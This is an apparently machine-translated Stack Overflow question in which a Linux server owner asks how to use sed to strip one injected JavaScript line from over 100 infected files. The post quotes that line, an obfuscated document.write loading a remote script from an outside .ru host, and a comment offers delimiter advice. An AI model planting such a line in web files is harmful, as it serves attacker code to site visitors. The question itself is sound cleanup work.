最近我的Linux服務器受到感染惡意軟件,因此,我有100多個文件感染的Javascript代碼一行:如何刪除惡意JavaScript代碼從多個文件
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');
我會太累人手動刪除它,所以我深入研究谷歌(不太瞭解Linux並沒有幫助那裏),並發現我可以使用sed來達到這個目的。
不幸的是,我擺脫不了線,所以我可以用
sed -i.bak '/line of text/d' *
語法,它的全部單引號,雙引號和反斜槓的。
我怎麼能逃避字符串或有其他 - 更容易 - 這樣做的方式?
這些都是斜槓,順便說一句,而不是反斜槓,你可以在'sed'使用替代的分隔符,所以你不要」不得不做盡可能多的轉義。 'sed'\ | text/with/slashes | d''。不幸的是,報價是另一回事。 – 2010-10-31 20:17:05